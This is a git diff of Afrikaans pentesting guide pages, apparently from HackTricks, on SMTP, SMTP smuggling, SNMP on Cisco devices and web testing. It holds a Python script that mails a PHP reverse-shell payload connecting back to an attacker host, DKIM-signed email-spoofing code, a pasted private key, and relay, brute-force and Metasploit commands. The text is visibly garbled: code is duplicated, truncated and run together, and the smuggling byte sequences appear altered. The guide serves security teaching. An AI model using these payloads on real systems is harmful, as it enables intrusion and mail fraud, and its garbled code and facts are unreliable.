|
||||
### Stuur 'n E-pos met Python
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Python-kode hier</summary>
|
||||
```python
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.text import MIMEText
|
||||
import smtplib
|
||||
import sys
|
||||
|
||||
lhost = "127.0.0.1"
|
||||
lport = 443
|
||||
rhost = "192.168.1.1"
|
||||
rport = 25 # 489,587
|
||||
\`\`\`python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys
|
||||
|
||||
lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587
|
||||
|
||||
## create message object instance
|
||||
|
||||
# create message object instance
|
||||
msg = MIMEMultipart()
|
||||
|
||||
# setup the parameters of the message
|
||||
password = ""
|
||||
msg['From'] = "attacker@local"
|
||||
msg['To'] = "victim@local"
|
||||
msg['Subject'] = "This is not a drill!"
|
||||
## setup the parameters of the message
|
||||
|
||||
# payload
|
||||
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
|
||||
password = "" msg\['From'] = "attacker@local" msg\['To'] = "victim@local" msg\['Subject'] = "This is not a drill!"
|
||||
|
||||
print("[*] Payload is generated : %s" % message)
|
||||
## payload
|
||||
|
||||
msg.attach(MIMEText(message, 'plain'))
|
||||
server = smtplib.SMTP(host=rhost,port=rport)
|
||||
message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
|
||||
|
||||
if server.noop()[0] != 250:
|
||||
print("[-]Connection Error")
|
||||
exit()
|
||||
print("\[\*] Payload is generated : %s" % message)
|
||||
|
||||
msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)
|
||||
|
||||
if server.noop()\[0] != 250: print("\[-]Connection Error") exit()
|
||||
|
||||
server.starttls()
|
||||
|
||||
# Uncomment if log-in with authencation
|
||||
# server.login(msg['From'], password)
|
||||
## Uncomment if log-in with authencation
|
||||
|
||||
server.sendmail(msg['From'], msg['To'], msg.as_string())
|
||||
server.quit()
|
||||
## server.login(msg\['From'], password)
|
||||
|
||||
print("[***]successfully sent email to %s:" % (msg['To']))
|
||||
```
|
||||
server.sendmail(msg\['From'], msg\['To'], msg.as\_string()) server.quit()
|
||||
|
||||
print("\[\*\*\*]successfully sent email to %s:" % (msg\['To']))
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
## SMTP Smuggling
|
||||
|
||||
SMTP Smuggling-kwesbaarheid het toegelaat om alle SMTP-beskermingsmaatreëls te omseil (kyk na die volgende afdeling vir meer inligting oor beskermings). Vir meer inligting oor SMTP Smuggling, kyk:
|
||||
|
||||
{% content-ref url="smtp-smuggling.md" %}
|
||||
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
|
||||
|
||||
[smtp-smuggling.md](smtp-smuggling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
</div>
|
||||
|
||||
## Teenmaatreëls teen E-posvervalsing
|
||||
|
||||
|
@ -262,10 +281,12 @@ Organisasies word verhoed om ongemagtigde e-posse namens hulle te stuur deur **S
|
|||
|
||||
### SPF
|
||||
|
||||
{% hint style="danger" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='danger'>
|
||||
|
||||
SPF [is in 2014 "verouderd" geraak](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dit beteken dat in plaas van 'n **TXT-rekord** te skep in `_spf.domain.com`, skep jy dit in `domain.com` met dieselfde sintaksis.\
|
||||
Verder, om vorige spf-rekords her te gebruik, is dit baie algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind.
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
**Sender Policy Framework** (SPF) is 'n meganisme wat Mail Transfer Agents (MTAs) in staat stel om te verifieer of 'n gas wat 'n e-pos stuur, gemagtig is deur 'n lys van gemagtigde posdiensverskaffers wat deur die organisasies gedefinieer is, te ondervra. Hierdie lys, wat IP-adresse/reeks, domeine, en ander entiteite wat **gemagtig is om e-pos namens 'n domeinnaam te stuur**, spesifiseer verskeie "**Meganismes**" in die SPF-rekord.
|
||||
|
||||
|
@ -315,28 +336,32 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
|||
|
||||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
````
|
||||
|
||||
Tradisioneel was dit moontlik om enige domeinnaam te fop wat nie 'n korrekte/geen SPF-rekord het nie. **Vandag**, as 'n **e-pos** afkomstig is van 'n **domein sonder 'n geldige SPF-rekord**, sal dit waarskynlik **automaties as onbetroubaar verwerp/gemerk word**.
|
||||
|
||||
Om die SPF van 'n domein te kontroleer, kan jy aanlynhulpmiddels soos gebruik: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
#### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
DKIM word gebruik om uitgaande e-posse te onderteken, wat hul validering deur eksterne Mail Transfer Agents (MTA's) moontlik maak deur die ophaling van die publieke sleutel van die domein uit DNS. Hierdie publieke sleutel word gevind in 'n domein se TXT-rekord. Om toegang tot hierdie sleutel te verkry, moet 'n persoon beide die kieser en die domeinnaam ken.
|
||||
|
||||
Byvoorbeeld, om die sleutel aan te vra, is die domeinnaam en kieser noodsaaklik. Hierdie kan gevind word in die e-poskop `DKIM-Signature`, bv., `d=gmail.com;s=20120113`.
|
||||
|
||||
'n Opdrag om hierdie inligting op te haal kan lyk soos:
|
||||
|
||||
```bash
|
||||
dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||
# This command would return something like:
|
||||
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||||
```
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
#### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
DMARC verbeter e-possekerheid deur voort te bou op SPF en DKIM-protokolle. Dit skets beleid wat posbedieners lei in die hantering van e-posse van 'n spesifieke domein, insluitend hoe om te werk met verifikasie-mislukkings en waar om verslae oor e-posverwerkingaksies heen te stuur.
|
||||
|
||||
**Om die DMARC-rekord te verkry, moet jy die subdomein \_dmarc navraag doen**
|
||||
|
||||
```bash
|
||||
# Reject
|
||||
dig _dmarc.facebook.com txt | grep DMARC
|
||||
|
@ -350,53 +375,47 @@ _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-repor
|
|||
dig _dmarc.bing.com txt | grep DMARC
|
||||
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
|
||||
```
|
||||
#### DMARC-tabelle
|
||||
|
||||
| Tag Naam | Doel | Voorbeeld |
|
||||
| -------- | --------------------------------------------- | ------------------------------- |
|
||||
| v | Protokol weergawe | v=DMARC1 |
|
||||
| pct | Persentasie van boodskappe onderhewig aan filter | pct=20 |
|
||||
| ruf | Verslagdoenings-URI vir forensiese verslae | ruf=mailto:authfail@example.com |
|
||||
| rua | Verslagdoenings-URI van aggregaat verslae | rua=mailto:aggrep@example.com |
|
||||
| p | Beleid vir organisatoriese domein | p=quarantine |
|
||||
| sp | Beleid vir subdomeine van die OD | sp=reject |
|
||||
| adkim | Uitlynmodus vir DKIM | adkim=s |
|
||||
| aspf | Uitlynmodus vir SPF | aspf=r |
|
||||
**DMARC-tabelle**
|
||||
|
||||
### **Wat van Subdomeine?**
|
||||
#### **Wat van Subdomeine?**
|
||||
|
||||
**Van** [**hier**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
Jy moet afsonderlike SPF-rekords hê vir elke subdomein waarvandaan jy e-pos wil stuur.\
|
||||
Die volgende is oorspronklik geplaas op openspf.org, wat 'n goeie bron was vir hierdie soort dinge.
|
||||
|
||||
> Die Duiwelvraag: Wat van subdomeine?
|
||||
>
|
||||
> As ek e-pos kry van pielovers.demon.co.uk, en daar is geen SPF-data vir pielovers nie, moet ek teruggaan na die volgende vlak en SPF vir demon.co.uk toets? Nee. Elke subdomein by Demon is 'n ander kliënt, en elke kliënt kan sy eie beleid hê. Dit sou nie sin maak vir Demon se beleid om standaard op al sy kliënte van toepassing te wees nie; as Demon dit wil doen, kan dit SPF-rekords opstel vir elke subdomein.
|
||||
>
|
||||
> Dus is die advies aan SPF-uitgewers as volg: jy moet 'n SPF-rekord byvoeg vir elke subdomein of gasheernaam wat 'n A- of MX-rekord het.
|
||||
>
|
||||
> Webwerwe met wildkaart A- of MX-rekords moet ook 'n wildkaart SPF-rekord hê, van die vorm: \* IN TXT "v=spf1 -all"
|
||||
Die Duiwelvraag: Wat van subdomeine?
|
||||
|
||||
As ek e-pos kry van pielovers.demon.co.uk, en daar is geen SPF-data vir pielovers nie, moet ek teruggaan na die volgende vlak en SPF vir demon.co.uk toets? Nee. Elke subdomein by Demon is 'n ander kliënt, en elke kliënt kan sy eie beleid hê. Dit sou nie sin maak vir Demon se beleid om standaard op al sy kliënte van toepassing te wees nie; as Demon dit wil doen, kan dit SPF-rekords opstel vir elke subdomein.
|
||||
|
||||
Dus is die advies aan SPF-uitgewers as volg: jy moet 'n SPF-rekord byvoeg vir elke subdomein of gasheernaam wat 'n A- of MX-rekord het.
|
||||
|
||||
Webwerwe met wildkaart A- of MX-rekords moet ook 'n wildkaart SPF-rekord hê, van die vorm: \* IN TXT "v=spf1 -all"
|
||||
|
||||
Dit maak sin - 'n subdomein kan heel moontlik in 'n ander geografiese ligging wees en 'n baie verskillende SPF-definisie hê.
|
||||
|
||||
### **Oop Relais**
|
||||
#### **Oop Relais**
|
||||
|
||||
Wanneer e-posse gestuur word, is dit van kritieke belang om te verseker dat hulle nie as spam geïdentifiseer word nie. Dit word dikwels bereik deur die gebruik van 'n **relaisbediener wat vertrou word deur die ontvanger**. 'n Algemene uitdaging is egter dat administrateurs dalk nie ten volle bewus is van watter **IP-reeks veilig is om toe te laat** nie. Hierdie gebrek aan begrip kan lei tot foute in die opstel van die SMTP-bedienaar, 'n risiko wat dikwels geïdentifiseer word in sekuriteitsassesserings.
|
||||
|
||||
'N Oorkomingsmetode wat sommige administrateurs gebruik om e-posleweringprobleme te vermy, veral met betrekking tot kommunikasie met potensiële of lopende kliënte, is om **verbindings van enige IP-adres toe te laat**. Dit word gedoen deur die `mynetworks`-parameter van die SMTP-bedienaar te konfigureer om alle IP-adresse te aanvaar, soos hieronder getoon:
|
||||
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
|
||||
Vir die kontrolering of 'n e-posbediener 'n oop relê is (wat beteken dat dit e-pos van enige eksterne bron kan deurstuur), word die `nmap`-werktuig gewoonlik gebruik. Dit sluit 'n spesifieke skrips in wat ontwerp is om dit te toets. Die bevel om 'n uitvoerige skandering op 'n bediener uit te voer (byvoorbeeld met IP 10.10.10.10) op poort 25 met behulp van `nmap` is:
|
||||
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
### **Gereedskap**
|
||||
|
||||
#### **Gereedskap**
|
||||
|
||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Kontroleer vir SPF en DMARC verkeerde konfigurasies**
|
||||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Kry outomaties SPF en DMARC konfigurasies**
|
||||
|
||||
### Stuur Vervals E-pos
|
||||
#### Stuur Vervals E-pos
|
||||
|
||||
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
|
||||
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
||||
|
@ -405,15 +424,17 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
|||
**Of jy kan 'n gereedskap gebruik:**
|
||||
|
||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
|
||||
|
||||
```bash
|
||||
# This will send a test email from test@victim.com to destination@gmail.com
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||
# But you can also modify more options of the email
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
|
||||
Indien jy enige fout kry wanneer jy die dkim python lib gebruik om die sleutel te ontleed, voel vry om die volgende een te gebruik.\
|
||||
**NOTA**: Dit is net 'n vinnige oplossing om vinnige kontroles te doen in gevalle waar die openssl privaatsleutel **nie deur dkim ontleed kan word nie**.
|
||||
|
||||
```
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
||||
|
@ -431,81 +452,16 @@ zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
|
|||
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
**Of jy kan dit handmatig doen:**
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="PHP" %}
|
||||
<pre class="language-php"><code class="lang-php"><strong># Dit sal 'n ondertekende boodskap stuur
|
||||
</strong><strong>mail("jou_email@gmail.com", "Toets onderwerp!", "hallo! Dit is 'n toets", "Van: administrator@slagoffer.com");
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
\# Dit sal 'n ondertekende boodskap stuurmail("jou\_email@gmail.com", "Toets onderwerp!", "hallo! Dit is 'n toets", "Van: administrator@slagoffer.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message\_html="""\<html>\<body>\<h3>This is a test, not a scam\</h3>\<br />\</body>\</html>"""sender\_domain=sender.split("@")\[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.\*)/\\\1 = "+sender\_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim\_private\_key\_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim\_private\_key\_path} 1024 2> /dev/null")with open(dkim\_private\_key\_path) as fh:dkim\_private\_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message\_html, "html"))msg\["To"] = destinationmsg\["From"] = sendermsg\["Subject"] = subjectheaders = \[b"To", b"From", b"Subject"]msg\_data = msg.as\_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim\_selector="s1"sig = dkim.sign(message=msg\_data,selector=str(dkim\_selector).encode(),domain=sender\_domain.encode(),privkey=dkim\_private\_key.encode(),include\_headers=headers)msg\["DKIM-Signature"] = sig\[len("DKIM-Signature: ") :].decode()msg\_data = msg.as\_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, \[destination], msg\_data)
|
||||
|
||||
{% tab title="Python" %}
|
||||
```python
|
||||
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
|
||||
|
||||
import os
|
||||
import dkim #pip3 install dkimpy
|
||||
import smtplib
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.text import MIMEText
|
||||
from email.mime.base import MIMEBase
|
||||
|
||||
# Set params
|
||||
destination="destination@gmail.com"
|
||||
sender="administrator@victim.com"
|
||||
subject="Test"
|
||||
message_html="""
|
||||
<html>
|
||||
<body>
|
||||
<h3>This is a test, not a scam</h3>
|
||||
<br />
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
sender_domain=sender.split("@")[1]
|
||||
|
||||
# Prepare postfix
|
||||
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
|
||||
os.system("systemctl restart postfix")
|
||||
|
||||
# Generate DKIM keys
|
||||
dkim_private_key_path="dkimprivatekey.pem"
|
||||
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
|
||||
with open(dkim_private_key_path) as fh:
|
||||
dkim_private_key = fh.read()
|
||||
|
||||
# Generate email
|
||||
msg = MIMEMultipart("alternative")
|
||||
msg.attach(MIMEText(message_html, "html"))
|
||||
msg["To"] = destination
|
||||
msg["From"] = sender
|
||||
msg["Subject"] = subject
|
||||
headers = [b"To", b"From", b"Subject"]
|
||||
msg_data = msg.as_bytes()
|
||||
|
||||
# Sign email with dkim
|
||||
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
|
||||
dkim_selector="s1"
|
||||
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
|
||||
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
|
||||
msg_data = msg.as_bytes()
|
||||
|
||||
# Use local postfix relay to send email
|
||||
smtp="127.0.0.1"
|
||||
s = smtplib.SMTP(smtp)
|
||||
s.sendmail(sender, [destination], msg_data)
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### **Meer inligting**
|
||||
#### **Meer inligting**
|
||||
|
||||
**Vind meer inligting oor hierdie beskermings in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||
|
||||
### **Ander hengel aanduiders**
|
||||
#### **Ander hengel aanduiders**
|
||||
|
||||
* Ouderdom van die domein
|
||||
* Skakels wat na IP-adresse wys
|
||||
|
@ -516,27 +472,30 @@ s.sendmail(sender, [destination], msg_data)
|
|||
* Bestaan van 'n geldige en vertroude SSL-sertifikaat
|
||||
* Indiening van die bladsy by webinhoudsfilteringswebwerwe
|
||||
|
||||
## Uitlekking deur SMTP
|
||||
### Uitlekking deur SMTP
|
||||
|
||||
**As jy data via SMTP kan stuur** [**lees hierdie**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
|
||||
|
||||
## Konfigurasie lêer
|
||||
### Konfigurasie lêer
|
||||
|
||||
### Postfix
|
||||
#### Postfix
|
||||
|
||||
Gewoonlik, as geïnstalleer, in `/etc/postfix/master.cf` bevat **skripte om uit te voer** wanneer byvoorbeeld 'n nuwe e-pos deur 'n gebruiker ontvang word. Byvoorbeeld die lyn `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` beteken dat `/etc/postfix/filtering` uitgevoer sal word as 'n nuwe e-pos deur die gebruiker mark ontvang word.
|
||||
|
||||
Ander konfigurasie lêers:
|
||||
|
||||
```
|
||||
sendmail.cf
|
||||
submit.cf
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
### Verwysings
|
||||
|
||||
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
|
||||
|
||||
## HackTricks Outomatiese Opdragte
|
||||
### HackTricks Outomatiese Opdragte
|
||||
|
||||
```
|
||||
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 25,465,587 #Comma separated if there is more than one.
|
||||
|
@ -587,22 +546,9 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
|
||||
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -29,14 +29,14 @@ Dit is omdat in die SMTP-protokol die **data van die boodskap** wat in die e-pos
|
|||
Om hierdie kwesbaarheid te misbruik, moet 'n aanvaller data stuur wat die **Uitgaande SMPT-bediener dink dat dit net 1 e-pos is, maar die Inkomende SMTP-bediener dink dat daar verskeie e-posse is**.
|
||||
|
||||
Die navorsers het ontdek dat verskillende **Inkomende bedieners verskillende karakters as die einde van die data** van die e-posboodskap beskou wat Uitgaande bedieners nie doen nie.\
|
||||
Byvoorbeeld, 'n gewone einde van die data is `\r\n.\r\n`. Maar as die Inkomende SMTP-bediener ook `\n.\n` ondersteun, kan 'n aanvaller net **daardie data by sy e-pos voeg en begin om die SMTP-opdragte** van nuwe een te smokkel soos in die vorige beeld.
|
||||
Byvoorbeeld, 'n gewone einde van die data is `\r\n.\r`. Maar as die Inkomende SMTP-bediener ook `\n.` ondersteun, kan 'n aanvaller net **daardie data by sy e-pos voeg en begin om die SMTP-opdragte** van nuwe een te smokkel soos in die vorige beeld.
|
||||
|
||||
Dit kan natuurlik net werk as die **Uitgaande SMTP-bediener hierdie data nie ook as die einde van die boodskapdata behandel nie**, want in daardie geval sal dit 2 e-posse sien in plaas van net 1, dus uiteindelik is dit die desinkronisasie wat misbruik word in hierdie kwesbaarheid.
|
||||
|
||||
Potensiële desinkronisasiedata:
|
||||
|
||||
* `\n.\n`
|
||||
* `\n.\r\n`
|
||||
* `\n.`
|
||||
* `\n.\r`
|
||||
|
||||
Let ook daarop dat die SPF omseil word omdat as jy 'n e-pos smokkel vanaf `admin@outlook.com` van 'n e-pos vanaf `user@outlook.com`, **bly die afzender `outlook.com`.**
|
||||
|
||||
|
|
|
@ -23,33 +23,37 @@ As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan
|
|||
**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol steun op gemeenskapsreekse, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie reekse is deurslaggewend omdat hulle toegangsvlakke bepaal, spesifiek **alleen-lees (RO) of lees-skryf (RW) toestemmings**. 'n Merkbare aanvalsvektor vir pentesters is die **brute-krag-aanvalle op gemeenskapsreekse**, met die doel om netwerktoestelle te infiltreer.
|
||||
|
||||
'n Praktiese instrument vir die uitvoering van sulke brute-krag-aanvalle is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys potensiële gemeenskapsreekse en die IP-adresse van die teikens vereis:
|
||||
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Die Metasploit-raamwerk bevat die `cisco_config_tftp`-module, wat die uithaling van toestelkonfigurasies fasiliteer, afhanklik van die verkryging van 'n RW-gemeenskapsnaam. Belangrike parameters vir hierdie operasie sluit in:
|
||||
|
||||
- RW-gemeenskapsnaam (**COMMUNITY**)
|
||||
- Aanvaller se IP (**LHOST**)
|
||||
- Teikentoestel se IP (**RHOSTS**)
|
||||
- Bestemmingspad vir die konfigurasie lêers (**OUTPUTDIR**)
|
||||
* RW-gemeenskapsnaam (**COMMUNITY**)
|
||||
* Aanvaller se IP (**LHOST**)
|
||||
* Teikentoestel se IP (**RHOSTS**)
|
||||
* Bestemmingspad vir die konfigurasie lêers (**OUTPUTDIR**)
|
||||
|
||||
Na konfigurasie maak hierdie module die aflaai van toestelinstellings direk na 'n gespesifiseerde vouer moontlik.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
'n Ander Metasploit-module, **`snmp_enum`**, spesialiseer in die versameling van gedetailleerde hardeware-inligting. Dit werk met enige tipe gemeenskapsnaam en vereis die teiken se IP-adres vir suksesvolle uitvoering:
|
||||
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
```
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/af/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Indien jy belangstel in **hackingsloopbaan** en om die onhackbare te hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 80,443 - Pentesting Web Metodologie
|
||||
# 80,443 - Pentesting Web Methodology
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -25,6 +25,7 @@ As jy belangstel in **hakwerk loopbaan** en die onhackbare wil hack - **ons is a
|
|||
Die webdiens is die mees **gewone en omvattende diens** en daar bestaan baie **verskillende tipes kwesbaarhede**.
|
||||
|
||||
**Verstekpoort:** 80 (HTTP), 443(HTTPS)
|
||||
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
|
@ -35,6 +36,7 @@ PORT STATE SERVICE
|
|||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
|
||||
### Web API Leiding
|
||||
|
||||
{% content-ref url="web-api-pentesting.md" %}
|
||||
|
@ -58,7 +60,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] **Agteruitkopieë kontroleer**: Toets of jy **agteruitkopieë** van **ontdekte lêers** kan vind deur algemene agteruitkopie-uitbreidings by te voeg.
|
||||
* [ ] **Brute-Force parameters**: Probeer om **verskuilde parameters** te vind.
|
||||
* [ ] Sodra jy al die moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, geïdentifiseer het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
|
||||
* [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
* [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Bedienerweergawe (Kwesbaar?)
|
||||
|
||||
|
@ -66,12 +68,14 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
Kyk of daar **bekende kwesbaarhede** vir die bediener **weergawe** wat loop, is.\
|
||||
